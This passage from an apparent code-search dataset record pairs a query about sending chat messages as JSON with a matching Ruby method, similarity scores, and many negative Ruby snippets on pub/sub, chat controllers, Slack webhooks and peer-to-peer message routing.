"def testUnsubscribe1()\n topic = \"_UnsubscribeString1_\"\n conn = Scalaris::PubSub.new()\n \n # first subscribe test \"urls\"...\n (0..($_TEST_DATA.length - 1)).each do |i|\n conn.subscribe(@testTime.to_s + topic + i.to_s, $_TEST_DATA[i])\n end\n \n # ... then unsubscribe every second url:\n (0..($_TEST_DATA.length - 1)).step(2) do |i|\n conn.unsubscribe(@testTime.to_s + topic + i.to_s, $_TEST_DATA[i])\n end\n \n # check whether the subscribers were successfully saved:\n (1..($_TEST_DATA.length - 1)).step(2) do |i|\n topic1 = topic + i.to_s\n subscribers = conn.get_subscribers(@testTime.to_s + topic1)\n assert(subscribers.include?($_TEST_DATA[i]),\n \"Subscriber \\\"\" + $_TEST_DATA[i] + \"\\\" does not exist for topic \\\"\" + topic1 + \"\\\"\")\n assert_equal(1, subscribers.length,\n \"Subscribers of topic (\" + topic1 + \") should only be [\\\"\" + $_TEST_DATA[i] + \"\\\"], but is: \" + subscribers.to_s)\n end\n \n # check whether the unsubscribed urls were unsubscribed:\n (0..($_TEST_DATA.length - 1)).step(2) do |i|\n topic1 = topic + i.to_s\n subscribers = conn.get_subscribers(@testTime.to_s + topic1)\n assert(!(subscribers.include?($_TEST_DATA[i])),\n \"Subscriber \\\"\" + $_TEST_DATA[i] + \"\\\" should have been unsubscribed from topic \\\"\" + topic1 + \"\\\"\")\n assert_equal(0, subscribers.length,\n \"Subscribers of topic (\" + topic1 + \") should only be [], but is: \" + subscribers.to_s)\n end\n \n conn.close_connection()\n end",
"def unsubscribe\n subscription = nil\n @gate.synchronize do\n if @subscription\n unless @primary_unsubscribed\n @primary_unsubscribed = true\n\n if @count == 0\n subscription = @subscription\n @subscription = nil\n end\n end\n end\n end\n\n subscription.unsubscribe if subscription\n end",
"def remove_subscriptions(subscriptions)\n lightstreamer_subscriptions = Array(subscriptions).compact.map(&:lightstreamer_subscription)\n\n return if lightstreamer_subscriptions.empty?\n\n @lightstreamer.remove_subscriptions lightstreamer_subscriptions\n end"
] |
[
"0.7930613",
"0.7930613",
"0.7799601",
"0.7630624",
"0.7598016",
"0.75197184",
"0.7247687",
"0.703141",
"0.69960517",
"0.697477",
"0.69413614",
"0.69394964",
"0.69394964",
"0.69332886",
"0.69317347",
"0.6920092",
"0.6872361",
"0.6834311",
"0.68197453",
"0.68146366",
"0.68057305",
"0.67394036",
"0.6735115",
"0.673225",
"0.6720094",
"0.6706553",
"0.67051804",
"0.66824216",
"0.6650102",
"0.6645586",
"0.66392905",
"0.66302305",
"0.66109276",
"0.6562067",
"0.6551523",
"0.65448266",
"0.65330565",
"0.6518212",
"0.6474151",
"0.64698803",
"0.6465365",
"0.6460439",
"0.6453495",
"0.6427412",
"0.6414609",
"0.6403348",
"0.64021283",
"0.63183063",
"0.63032556",
"0.6299217",
"0.6297787",
"0.6286028",
"0.62691396",
"0.62667084",
"0.62569577",
"0.62543863",
"0.6244204",
"0.6238158",
"0.62310994",
"0.61976373",
"0.6194644",
"0.6183252",
"0.61798483",
"0.61552083",
"0.61219776",
"0.6120381",
"0.6106065",
"0.61010265",
"0.6100578",
"0.60953087",
"0.60938793",
"0.6086588",
"0.60796446",
"0.6074112",
"0.6072875",
"0.6068211",
"0.6052454",
"0.60177183",
"0.60098284",
"0.6005571",
"0.5998597",
"0.59920627",
"0.5978295",
"0.59763986",
"0.59640527",
"0.59408885",
"0.5931811",
"0.5928278",
"0.592429",
"0.5899459",
"0.58943355",
"0.58870727",
"0.5870874",
"0.5859778",
"0.5853555",
"0.5850102",
"0.58363134",
"0.5832488",
"0.58256364",
"0.5821441"
] |
0.72361296
|
7
|
method used to send messages to the webserver checks too see if the message is a hash and if it is it will transform it to JSON and send it to the webser otherwise will construct a JSON object that will have the key action with the value 'message" and the key message witth the parameter's value
|
def chat(message)
final_message = nil
if message.is_a?(Hash)
final_message = message.to_json
else
final_message = JSON.dump(action: 'message', message: message)
end
log_to_file("#{self.class} sends JSON #{final_message}")
send_data(final_message)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def handle_message(message_hash)\n socket_id = message_hash[\"socket_id\"]\n message = message_hash[\"message\"]\n type = message[\"type\"]\n\n post(send(type, message_hash))\n end",
"def send(hash)\n Hammer.logger.debug \"Websocket sending: #{hash}\" if config[:logger][:show_traffic]\n super hash.to_json\n end",
"def process\n {\n \"type\": \"message\",\n \"channel\": channel,\n \"text\": message\n }.to_json\n end",
"def send_hash(cmd_hash)\n json = JSON.generate(cmd_hash)\n send_json() \n end",
"def send\n inf = params.permit(:to, :from, :time, :priority, :message, :til)\n message = Message.new\n message.user = current_user\n message.entered = DateTime.now.in_time_zone\n message.year = DateTime.now.in_time_zone.year\n\n message.to = inf[:to]\n message.from = inf[:from]\n message.message_time = inf[:time]\n message.priority = inf[:priority]\n message.message = inf[:message]\n message.til = inf[:til]\n\n unless message.save\n render json: {message: @message.errors}.to_json, \\\n status: :unprocessable_entity\n end\n\n render json: {message: 'Success'}.to_json, status: 200\n end",
"def send_message(data)\n\n #this is called by js script client side\n\n #The data local variable contains a hash \n #so we can access the message's body quite \n #easily to save it to the database:\n\n \n message_params = data['message'].each_with_object({}) do |el, hash|\n hash[el.values.first] = el.values.last\n end\n \n #creates a message based on passed params, \n #after message is saved to database it broadcasts itself to clients\n #(receive method on conversation js)\n \n Message.create(message_params)\n \n \n #or\n #current_user.messages.create(body: data['message'])\n \n #builds a hash that’s based on a passed data \n # and sends data to the front-end using the ActionCable.server.broadcast \n # method to the specified channel. \n # Data sent from this method is visible in the received method on the front-end.\n #ActionCable.server.broadcast(\n # \"conversations-#{current_user.id}\",\n # message: message_params\n #)\n\n\n\n #or (from medium tut)\n\n #sender = get_sender(data)\n #room_id = data['room_id']\n #message = data['message']\n\n #raise 'No room_id!' if room_id.blank?\n #convo = get_convo(room_id) # A conversation is a room\n #raise 'No conversation found!' if convo.blank?\n #raise 'No message!' if message.blank?\n\n # adds the message sender to the conversation if not already included\n #convo.users << sender unless convo.users.include?(sender)\n # saves the message and its data to the DB\n #Message.create!(\n # conversation: convo,\n # sender: sender,\n # content: message\n #)\n end",
"def post_messages!(hash)\n Net::HTTP.post_form(URI.parse(@target), {'data'=>hash.to_json})\n end",
"def typer(session, message, options={})\n json_request \"message\", {:session => session,\n :message => message}, options\n end",
"def send_message(message); end",
"def send_message(message); end",
"def hash_to_message(data)\n klass = Hastur::Message.symbol_to_class(data[:type])\n\n # if no UUID is provided, set one in the message payload\n data[:uuid] ||= @uuid\n\n payload = MultiJson.dump(data)\n klass.new :from => @uuid, :payload => payload\n end",
"def send_message(message)\n message = JSON.generate(message)\n @log.debug(\"Sending #{message}\")\n @ws.send(message)\n end",
"def message(message)\n render json: {\n message: message,\n status: :success\n }, status: 200\n end",
"def send_message(params)\n uri = URI.parse(@uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n parameters = \"\"\n params.each do |k,v|\n if parameters.empty?\n parameters = \"#{k}=#{v}\"\n else\n parameters += \"&#{k}=#{v}\"\n end\n end\n sig = generate_signature(params)\n parameters += \"&signature=#{sig}\"\n puts parameters \n response = http.post(\"/api/2/apps/#{@key}/messages.json\", \"#{URI.escape(parameters)}\")\n puts response\n return response.body\n end",
"def on_message data\n begin\n data = JSON.parse data\n rescue Exception => e\n puts e\n response << {event: :error, message: \"Unknown Error\"}.to_json\n response.close\n return false\n end\n broadcast :_send_message, {event: :chat, from: params[:name], message: data['message'], at: Time.now}.to_json\n end",
"def render_message(message)\n render json: { message: message }, status: :ok\n end",
"def send_message\n \tuser = User.find(params[:user_id]);\n \tif user\n \t\tmessage = Conversation.new(user_id: params[:user_id], message_id: params[:message_id], request_id: params[:request_id])\n \t\tif message.save\n \t\t\tconversation = Conversation.find_by(request_id: params[:request_id])\n \t\t\trender json: conversation\n \t\tend\n \telse\n\t\trender json: {error: 'User not found.'}\n \tend\n end",
"def create\n if params[:user] && params[:opp] && params[:message]\n @user = User.find_by_id(params[:user])\n if @user\n @opp = User.find_by_id(params[:opp])\n if @opp\n @message = Message.new(origin: @user.id, opponent: @opp.id, message: params[:message])\n if @message.save\n @json = {:status => \"success\", :id => \"#{@message.id}\"}\n render json: @json\n else\n send_error(\"failed to send message\")\n end\n else\n send_error(\"recipient not found\")\n end\n else\n send_error(\"user not found\")\n end\n else\n send_error(\"bad parameters\")\n end\n end",
"def send_basic_message(message)\n\n resp = validate_message(message)\n if resp.result != SendResult.enum[\"Success\"]\n resp\n end\n\n req_factory = InjectionRequestFactory.new(@server_id, @api_key)\n request = req_factory.generate_request(message)\n\n # debug\n request_hash = request.to_hash\n debug_json = request_hash.to_json\n @request_json = debug_json\n\n http_request = HttpRequest.new(http_method, { :http_endpoint => @endpoint, :proxy => @proxy })\n response = http_request.send_request(request)\n @response_json = response.to_json\n\n end",
"def message(session, message, options={})\n json_request \"message\", {:session => session,\n :message => message}, options\n end",
"def send_message(msg); end",
"def message(message)\n # message can be also accessed via instance method\n message == self.payload # true\n # store_message(message['text'])\n end",
"def respond( message )\n\n\n # If a joining message adds address to routing table and gateway table before sending a routing info message\n # to it and a joining relay message to a node with a GUID closer to the joining node\n if message[\"type\"] == \"JOINING_NETWORK_SIMPLIFIED\"\n tnh, tm, tn = nextHop( message[\"node_id\"] )\n @gateway_table[message[\"node_id\"]] = { :ip_address => message[\"ip_address\"], :port => message[\"port\"] }\n if @routing_table.has_key?([0,tm,tn]) == false # || diff( joining_guid ) < diff( @routing_table[[0,jm,jn]][\"node_id\"] )\n @routing_table[[0,tm,tn]] = { :node_id => message[\"node_id\"], :ip_address => message[\"ip_address\"], \\\n :port => message[\"port\"] }\n end\n if tnh.ip != nil\n joinMesgRelay = { :type => \"JOINING_NETWORK_RELAY_SIMPLIFIED\", :node_id => message[\"node_id\"], \\\n :gateway_id => @guid, :ip_address => message[\"ip_address\"], \\\n :port => message[\"port\"] }.to_json\n @s.send joinMesgRelay, 0, tnh.ip, tnh.port\n end\n tempRouteTable = []\n @routing_table.each_value { |addr|\n tempRouteTable.push( addr )\n }\n routingInfoMesg = { :type => \"ROUTING_INFO\", :gateway_id => @guid, :node_id => message[\"node_id\"], \\\n :ip_address => @localInetAddr.ip, :port => @localInetAddr.port, :route_table => tempRouteTable }.to_json\n @s.send routingInfoMesg, 0, message[\"ip_address\"], message[\"port\"]\n end\n\n\n # Behalves identically to above except responce to the gateway node instead of the joining node\n if message[\"type\"] == \"JOINING_NETWORK_RELAY_SIMPLIFIED\"\n tnh, tm, tn = nextHop( message[\"node_id\"] )\n nh, gm, gn = nextHop( message[\"gateway_id\"] )\n if @routing_table.has_key?([0,tm,tn]) == false # || diff( joining_guid ) < diff( @routing_table[[0,jm,jn]][\"node_id\"] )\n #puts \"h6\"\n @routing_table[[0,tm,tn]] = { :node_id => message[\"node_id\"], :ip_address => message[\"ip_address\"], \\\n :port => message[\"port\"] }\n end\n if tnh.ip != nil\n joinMesgRelay = { :type => \"JOINING_NETWORK_RELAY_SIMPLIFIED\", :node_id => message[\"node_id\"], \\\n :gateway_id => message[\"gateway_id\"], \\\n :ip_address => message[\"ip_address\"], :port => message[\"port\"] }.to_json\n @s.send joinMesgRelay, 0, tnh.ip, tnh.port\n end\n tempRouteTable = []\n @routing_table.each_value { |addr|\n tempRouteTable.push( addr )\n }\n routingInfoMesg = { :type => \"ROUTING_INFO\", :gateway_id => message[\"gateway_id\"], :node_id => message[\"node_id\"], \\\n :ip_address => @localInetAddr.ip, :port => @localInetAddr.port, :route_table => tempRouteTable }.to_json\n if nh.ip != nil\n @s.send routingInfoMesg, 0, nh.ip, nh.port\n end\n end\n\n\n # When we get a routing info message extract as much useful information out of it as we can and forward it onto the\n # intended target node unless it was intended for our node\n if message[\"type\"] == \"ROUTING_INFO\"\n useRouteInfo( message[\"route_table\"] )\n if message[\"node_id\"] == @guid\n return\n elsif message[\"gateway_id\"] == @guid\n if @gateway_table.has_key?( message[\"node_id\"] )\n p @s.send message.to_json, 0, @gateway_table[message[\"node_id\"]][:ip_address].to_s, @gateway_table[message[\"node_id\"]][:port]\n else\n puts \"Routing_Info message receave error not key in gatewayTable!\"\n end\n else\n nh, gm, gn = nextHop( message[\"node_id\"] )\n message = message.to_json\n if nh.ip != nil\n @s.send message, 0, nh.ip, nh.port\n end\n end\n end\n\n # If we get a leaving message remove the node from the network\n if message[\"type\"] == \"LEAVING_NETWORK\"\n removeAddr( message[\"node_id\"])\n end\n\n # When we receave an index message check it is intended for us and if not forward to next hop otherwise process\n # increase the rank of urls in @linkHash or create a new entry if\n # We have not seen that URL before\n if message[\"type\"] == \"INDEX\"\n if message[\"target_id\"] == @guid\n flag = true\n for i in 0..@linkHash.length-1\n if @linkHash[i][:url] == message[\"link\"]\n @linkHash[i][:rank] += 1\n flag = false\n end\n end\n if flag\n @linkHash << { :url => message[\"link\"], :rank => 1 }\n end\n ackIndexMesg = { :type => \"ACK_INDEX\", :node_id => message[\"sender_id\"], :keyword => message[\"keyword\"] }.to_json\n if message[\"sender_id\"] == @guid\n puts \" \"\n print @name, \" INDEXING myself\" # If we are processing our own indexing message no need to send an ACK\n puts \" \"\n return\n end\n nh, sm, sn = nextHop( message[\"sender_id\"] )\n @s.send ackIndexMesg, 0, nh.ip, nh.port\n else\n nh, tm, tn = nextHop( message[\"target_id\"] )\n if nh.ip != nil\n @s.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n\n # Keept forwarding until this ACK_INDEX message reaches its destination, when it does set the appropriate flag\n if message[\"type\"] == \"ACK_INDEX\"\n if message[\"node_id\"] == @guid\n wordHash = Hash_Func( message[\"keyword\"] )\n @indexAckWait[ wordHash ] = 2\n else\n nh, m, n = nextHop( message[\"node_id\"] )\n if nh.ip != nil\n @s.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n\n # Keep forwarding search message until it reaches correct location in which case we append @linkHash to a search\n # responce message and send it to the sending ID\n if message[\"type\"] == \"SEARCH\"\n if message[\"node_id\"] == @guid\n searchResponceMesg = { :type => \"SEARCH_RESPONSE\", :word => message[\"word\"], :node_id => message[\"sender_id\"],\n :sender_id => @guid, :response => @linkHash }.to_json\n nh, sm, sn = nextHop( message[\"sender_id\"] )\n @s.send searchResponceMesg, 0, nh.ip, nh.port\n else\n nh, tm, tn = nextHop( message[\"node_id\"] )\n message = message.to_json\n if nh.ip != nil\n @s.send message, 0, nh.ip, nh.port\n end\n end\n end\n\n # Keep forwarding responce until we reach intended recipient and then put results in flag so origional\n # search thread can process the results\n if message[\"type\"] == \"SEARCH_RESPONSE\"\n if message[\"node_id\"] == @guid\n @searchAckWait[ message[\"sender_id\"] ] = message[\"response\"]\n else\n nh, tm, tn = nextHop( message[\"node_id\"] )\n if nh.ip != nil\n @s.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n # Upon receaving a PING send onto next hop and generate ACK\n if message[\"type\"] == \"PING\"\n ackMesg = { :type => \"ACK\", :node_id => @guid, :ip_address => @localInetAddr.ip, \\\n :port => @localInetAddr.port }.to_json\n @s.send ackMesg, 0, message[\"ip_address\"], message[\"port\"]\n if message[\"target_id\"] != @guid\n #puts @name, \"PNH\", message[\"target_id\"], Time.now\n nh, m, n = nextHop( message[\"target_id\"] )\n if nh.ip != nil\n message[\"ip_address\"] = @localInetAddr.ip\n message[\"port\"] = @localInetAddr.port\n @s.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n # Upon receiving an ACK message we know this node is still alive\n if message[\"type\"] == \"ACK\"\n @checkAckWait[ message[\"node_id\"] ] = 2\n end\n end",
"def respond_message message\n content_type :json\n {:text => message}.to_json\nend",
"def send_message\n chat = Chat.find(params[:chat])\n SendMessageToChat.call(@previa_group, chat, params[:message])\n\n respond_to do |format|\n format.html { redirect_to previa_group_chat_path(@previa_group, :chat => chat) }\n format.json { head :no_content }\n end\n end",
"def create\n @message = Message.new(message_params)\n @message.sender_id = current_user.id\n @message.recipient_id = params[:recipient_id]\n\n respond_to do |format|\n if @message.save\n flash[:notice] = \"Mesaj gönderildi.\"\n format.json { render json: {success: true} } \n # Pusher.trigger('private-'+params[:recipient_id],'new_message', {:from => current_user.name, \n # :subject => @message.subject})\n else\n flash[:error] = \"Mesaj gönderilemedi.\"\n redirect_to '/'\n end\n end\n end",
"def message\n @message ||= (request.GET[:msg] || Hash.new)\n end",
"def _send_message data\n response << data\n end",
"def create_message(data); end",
"def create_message(data); end",
"def notify! message_obj = OpenStruct.new, to = nil\n slack_hash = Hash.new\n channel = get_channel config.adapters[:slack], to\n slack_hash['channel'] = channel\n optional_parameters = [:username, :icon_url, :icon_emoji]\n optional_parameters.each do |op|\n if config.adapters[:slack][op]\n slack_hash[op] = config.adapters[:slack][op]\n end\n end\n\n slack_hash['text'] = get_message_body(binding)\n\n @logger.debug \"slack parameters: #{slack_hash.inspect}\"\n \n if config.test? then\n @logger.info \"Not sending message in test mode\"\n return true\n end\n\n begin\n @logger.debug \"Posting to slack webhook: #{@webhook_url}\"\n reply = HTTParty.post(@webhook_url, :body => JSON.dump(slack_hash))\n reply.response.value # this raises an error if the response said it was unsuccessful\n true\n rescue CollinsNotify::CollinsNotifyException => e\n @logger.error \"error sending slack notification - #{e}\"\n raise e\n rescue Exception => e\n @logger.error \"#{e.class.to_s} - error sending slack notification - #{e}\"\n raise CollinsNotify::CollinsNotifyException.new e\n end\n end",
"def send_messages\n if Message.send_messages()\n render json: {status: :ok}\n else\n render json: \"Error\"\n end\n end",
"def post_message(token, channel, text, username)\n uri = URI.parse(URL[\"post_msg\"])\n params = { :token => token,\n :channel => channel,\n :text => text,\n :username => username,\n :as_user => true }\n uri.query = URI.encode_www_form( params )\n return JSON.parse( uri.open.read )\n end",
"def on_message(message)\n case message['action']\n when 'test1'\n { 'result' => 'test1' }\n when 'sleep'\n sleep message['duration'] || 1\n { 'result' => 'sleep' }\n when 'fail'\n if message['attempt'].to_i >= 2\n { 'result' => 'fail' }\n else\n nil\n end\n else\n { 'result' => \"Unknown action: #{message['action']}\" }\n end\n end",
"def send_msg\n req = Net::HTTP::Post.new('/nodes/receive', initheader = {'Content-Type' =>'application/json'})\n node = Cue.find_by_id(params[:id])\n if node then\n url = uri.parse(node.url)\n req.body = node.payload\n log_action \"sending single msg #{node.id}\"\n req2 = net::http.new(url.host, url.port)\n response = req2.start {|http| http.request(req) }\n response_parse = json.parse(response.body)\n log_action(\"received from node: \" + response.body)\n node.update_attribute :is_handled, true\n end\n redirect_to request.referer\n end",
"def add_message\n\t\tresponse.headers['Content-Type'] = 'text/javascript' # Tells Rails/Redis that content is JavaScript\n\t\troom = current_user.room\n\t\tmessage = params[:message]\n\t\t# -- Add new message to chatroom ---\n\t\t$redis.publish(\"add_message_#{room.id}\", {message: message, author: current_user.username}.to_json)\n\t\t# --- end ---\n\t\trender nothing: true\n\tend",
"def echo\n render json: {\n :message => params[:message],\n :timestamp => Time.current,\n }\n end",
"def create\n if session.has_key?(:chat_user_id)\n @user = User.find(session[:chat_user_id])\n @chat_message = ChatMessage.new(params[:chat_message])\n @chat_message.direction = true\n @chat_message.operator = current_operator\n @chat_message.user = @user\n active_session = Session.active_session(current_operator,@user)\n @chat_message.session = active_session unless active_session.nil?\n msg = Hash.new\n msg['message'] = params[:chat_message][:message]\n msg['datetime'] = DateTime.now.to_s\n case @user.devicetype\n when \"android\"\n @user.send_android_notification(msg,'1002') unless @user.devicetoken.nil?\n when \"iphone\", \"iPhone\" \n message = \"New Message\" + current_operator.name+params[:chat_message][:message].to_s\n @user.send_ios_push(message,msg) unless @user.devicetoken.nil?\n end\n \n if @chat_message.save\n respond_to do |format|\n format.js { render action: \"create\" } and return\n end\n end\n else\n @user = nil\n end\n render :js => \"alert('failed');\" \n end",
"def send(message = nil)\n @alert = message if message.is_a?(String)\n @data = message if message.is_a?(Hash)\n client.push(payload.as_json)\n end",
"def send(message)\n\t\turl_arg = @params\n\t\turl_arg[\"input\"] = message\n\t\turl_arg_str = URI.encode_www_form(url_arg)\n\n\t\theaders = {\n\t\t\t'User-Agent' => 'cleverbotrb https://github.com/d0p1s4m4/cleverbotrb',\n\t\t}\n\n\t\treq = Net::HTTP.new(HOST, 80)\n\t\tresp = req.get(@endpoint + url_arg_str, headers)\n\t\tif resp.code != \"200\"\n\t\t\treturn nil\n\t\tend\n\t\tresponse = JSON.parse(resp.body)\n\t\t@params['cs'] = response['cs']\n\t\treturn response['output']\n\tend",
"def chat\n if params[:user] && params[:opp]\n @user = User.find_by_id(params[:user])\n if @user\n @opp = User.find_by_id(params[:opp])\n if @opp\n @messages = Message.all_messages(@user.id, @opp.id)\n @json = {:status => {:status => \"success\"}, :messages => @messages.as_json(:only => [:origin, :opponent, :created_at])}\n render json: @json\n else\n send_error_obj(\"opp not found\")\n end\n else\n send_error_obj(\"user not found\")\n end\n else\n send_error_obj(\"bad parameters\")\n end\n end",
"def create_message_shop_ios\n\t @client_message = params[:message]\n\t @user_id = params[:user_id]\n\t @shop_name = params[:shop_name]\n\t @message = Shop.new(:user_id => @user_id, :shop_name =>@shop_name, :message => @client_message)\n\t if @message.save(:validate => false)\n\t @shop=Shop.where(\"user_id=?\", @user_id)\n\t respond_to do |format|\n\t msg = { :status => \"ok\", :chat => @shop }\n\t format.json { render :json => msg } # don't do msg.to_json\n\t end\n\t else\n\t respond_to do |format|\n\t msg = { :status => \"error\", :message => \"Not Save\"}\n\t format.json { render :json => msg }\n\t end\n\t end\n\tend",
"def handle_message(request, message)\n #\n end",
"def generate_message(payload)\n if payload.is_a? Fixnum\n payload.to_json\n else\n if payload.nil?\n nil\n elsif payload.respond_to?(:empty?) && payload.empty?\n nil\n elsif payload.respond_to? :to_edible\n payload.to_edible\n elsif payload.is_a? String\n payload\n else\n # Not sure that this is the appropriate implementation, perhaps to_s is better\n payload.to_json\n end\n end\n end",
"def send_message(user_id, message_content)\n\t\tfull_route = self.endpoint_route.gsub(USER_ID_KEY, user_id)\n\n\t\tdata = message_content.clone\n\t\tdata[\"token\"] = self.webhook_token\n\t\tquery = self.get_query(data)\n\n\t\turl = \"#{ full_route }?#{ query }\"\n\n\t\tresponse = HTTParty.get(url, body: data.to_json, headers: JSON_HEADERS)\n\t\tif response.code < 200 || response.code >= 300\n\t\t\traise \"Error\\nWebook HTTP Status: #{ response['code'] }. #{ response['message'] }\"\n\t\tend\n\tend",
"def update\n\t\t\t# assumes body is JSON - more handling could be done using the params (which hold parsed JSON data).\n\t\t\tbroadcast :_push, request[:body] \n\t\t\t{message: 'write_chat', data: {id: params[:id], token: cookies['example_token'], example_data: 'message sent.'}}.to_json\n\t\tend",
"def create\n begin\n sha256 = OpenSSL::Digest::SHA256.new\n # sig_service berechnen\n digest = sha256.hexdigest(params[:timestamp].to_s + params[:recipientname].to_s + params[:name].to_s + params[:cipher].to_s + params[:iv].to_s + params[:key_recipient_enc].to_s + params[:sig_recipient].to_s)\n # public_key des Users aus der Datenbank holen\n public_key = OpenSSL::PKey::RSA.new(Base64.decode64(User.find_by_name(params[:name]).public_key))\n # sig_service vom Client entschlüsseln\n decrypt_digest = public_key.public_decrypt(Base64.decode64(params[:sig_service]))\n # Prüfen ob der Empfänger existiert\n if User.exists?(name: params[:recipientname]) then\n # sig_service überprüfen\n if decrypt_digest == digest then\n # Überprüfen ob Nachricht nicht älter als fünf Minuten\n if (Time.now.to_i - params[:timestamp].to_i) < 300 and (Time.now.to_i - params[:timestamp].to_i) >= 0 then\n @message = Message.new(message_params)\n @message.is_called = 0\n respond_to do |format|\n # Nachricht speichern\n if @message.save\n format.json { render json: '{\"status\":\"1\"}'}\n else\n format.json { render json: '{\"status\":\"2\"}'}\n end\n end\n else\n respond_to do |format|\n format.json { render json: '{\"status\":\"4\"}'}\n end\n end\n else\n respond_to do |format|\n format.json { render json: '{\"status\":\"5\"}'}\n end\n end\n else\n respond_to do |format|\n format.json { render json: '{\"status\":\"3\"}'}\n end\n end\n rescue Exception => e\n render json: '{\"status\":\"99\"}'\n end\n end",
"def api_create\n @message = Message.new\n @message.user_id = params[:message][:user_id]\n @message.room_id = params[:message][:room_id]\n @message.content = params[:message][:content]\n @message.save\n\n #Generate de js to publish\n jsScript = createMessage(@message)\n PrivatePub.publish_to(\"/rooms/#{@message.room_id}\", jsScript)\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.json { render json: @message}\n else\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_notification method, params\n response = {\n jsonrpc: \"2.0\",\n method: method,\n params: params\n }\n json = response.to_json\n envelope = \"Content-Length: #{json.bytesize}\\r\\n\\r\\n#{json}\"\n queue envelope\n end",
"def send_message \r\n @message = Message.new((params[:message] || {}).merge(:sender => current_user))\r\n \r\n if request.post? and @message.save\r\n flash.now[:notice] = \"Message sent\"\r\n @message = Message.new\r\n redirect_to :action => \"outbox\"\r\n end\r\n end",
"def send_message(message)\n send_queue_message(\n address, (valid_json?(message) ? message : message.to_json), sqs\n )\n end",
"def build_message( options = {} )\n\t\t\topt = { :type => nil, :service => nil, :message => nil, :extra_parameters => nil }.merge(options)\n\t\t\taction, url = binding_select( opt[:service] )\n\t\t\tcase action \n\t\t\twhen \"GET\"\n\t\t\t\treturn action, message_get( opt[:type], url, opt[:message], opt[:extra_parameters] )\n\t\t\twhen \"POST\"\n\t\t\t\treturn action, message_post( options[:type], url, opt[:message], opt[:extra_parameters] )\n\t\t\tend\n\t\tend",
"def send msg\n return unless @state == :state_inited\n @ws.send msg.to_json\n end",
"def create\n raise UserBlocked if UserBlock.between_users(current_user.id, message_params[:to_user_id]).any?\n raise NoHails if Hail.accepted.between_users(current_user.id, message_params[:to_user_id]).empty?\n\n @message = current_user.messages.new(message_params)\n\n respond_to do |format|\n if @message.save\n format.json { render :show, status: :created }\n else\n format.json { render json: @message.errors.full_messages, status: :unprocessable_entity }\n end\n end\n rescue UserBlocked\n current_user.update_attribute(:last_chatted_user_id, nil) if current_user.last_chatted_user_id == message_params[:to_user_id]\n render json: { error: 'blocked' }, status: :unprocessable_entity\n rescue NoHails\n render json: { error: 'no_hails' }, status: :unprocessable_entity\n end",
"def create\n puts params['msg']\n receiver = User.find_by(username: params['receiver']).id\n\n @message = Message.new(seen: 0, sender: current_user.id, receiver: receiver, contents: params[:msg], sent_at: Time.now)\n @message.save!\n\n #Load the messages\n m = current_user.chat_with(params['receiver'])\n respond_to do |format|\n format.js { render json: m.to_json }\n format.html\n end\n\n # @message = Message.new(message_params)\n\n # respond_to do |format|\n # if @message.save\n # format.html { redirect_to @message, notice: 'Message was successfully created.' }\n # format.json { render :show, status: :created, location: @message }\n # else\n # format.html { render :new }\n # format.json { render json: @message.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def send_message(msg)\n send_data({:type => :message, :body => msg})\n end",
"def send(message)\n headers = { 'Content-Type' => 'application/json' }\n payload = { text: message }.to_json\n HTTParty.post(@webhook_url, body: payload, headers: headers)\n end",
"def new_message\n Rails.logger.info('new_message')\n\n begin\n sender = nil\n\n if (params[:sender_id])\n sender = User.find_by_id(params[:sender_id])\n receiver = User.find_by_id(params[:receiver_id])\n\n if (!sender.nil?)\n message = nil\n\n Rails.logger.info(\"receiver_id: #{params[:receiver_id]}\")\n Rails.logger.info(\"sender_id: #{params[:sender_id]}\")\n\n message = Message.new(:status => \"unread\", :receiver_id => params[:receiver_id], :sender_id => params[:sender_id], :subject => params[:subject], :body => params[:body])\n message.save\n\n Rails.logger.info(\"notification start\")\n\n Rails.logger.info(\"#{sender.username}\")\n\n notification = SwitcharooNotification.new(:content => \"#{sender.username} just sent you a message.\", :notification_type => NOTIFICATIONTYPE_MESSAGE_RECEIVED, :user_id => params[:receiver_id])\n\n notification.save\n\n notification.send_to_user(receiver)\n\n Rails.logger.info(\"notification end\")\n\n render json: { error_code: ERROR_NOERROR, status: \"ok\", message: message, sender: sender }\n return\n else\n render json: {error_code: ERROR_NOTFOUND, status: \"Can't find sender.\"}\n return\n end\n else\n render json: {error_code: ERROR_MISSINGARGUMENTS, status: \"Missing arguments\"}\n end\n\n render json: {\n error_code: ERROR_FAILED, \n status: \"Unknown\"\n }\n\n rescue StandardError => e\n Log.logError(\"new_message failed: #{e.to_s}\")\n Rails.logger.error e.backtrace.join(\"\\n\") unless Rails.env.production?\n render json: {error_code: ERROR_FAILED, status: e.to_s }\n end\n end",
"def create\n @message = Message.new\n @message.create_one!(params[:message])\n #Juggernaut.publish(1, parse_chat_message(params[:message][:message], current_user))\n respond_to do |format|\n format.html { redirect_to :index }\n format.js\n end\n end",
"def respond(message)\n=begin\n If a joining message adds address to routing table and gateway table before sending a routing info message\n to it and a joining relay message to a node with a GUID closer to the joining node\n=end\n if message[\"type\"] == \"JOINING_NETWORK\"\n tnh, tm, tn = nextHop(message[\"node_id\"])\n @gateway_table[message[\"node_id\"]] = {:ip_address => message[\"ip_address\"], :port => message[\"port\"]}\n if @routing_table.has_key?([0, tm, tn]) == false\n @routing_table[[0, tm, tn]] = {:node_id => message[\"node_id\"], :ip_address => message[\"ip_address\"], \\\n :port => message[\"port\"]}\n end\n if tnh.ip != nil\n joinMsgRelay = {:type => \"JOINING_NETWORK_RELAY\", :node_id => message[\"node_id\"], \\\n :gateway_id => @guid, :ip_address => message[\"ip_address\"], \\\n :port => message[\"port\"]}.to_json\n @socket.send joinMsgRelay, 0, tnh.ip, tnh.port\n end\n tempRouteTable = []\n @routing_table.each_value { |addr|\n tempRouteTable.push(addr)\n }\n routingInfoMsg = {:type => \"ROUTING_INFO\", :gateway_id => @guid, :node_id => message[\"node_id\"], \\\n :ip_address => @localInetAddr.ip, :port => @localInetAddr.port, :route_table => tempRouteTable}.to_json\n @socket.send routingInfoMsg, 0, 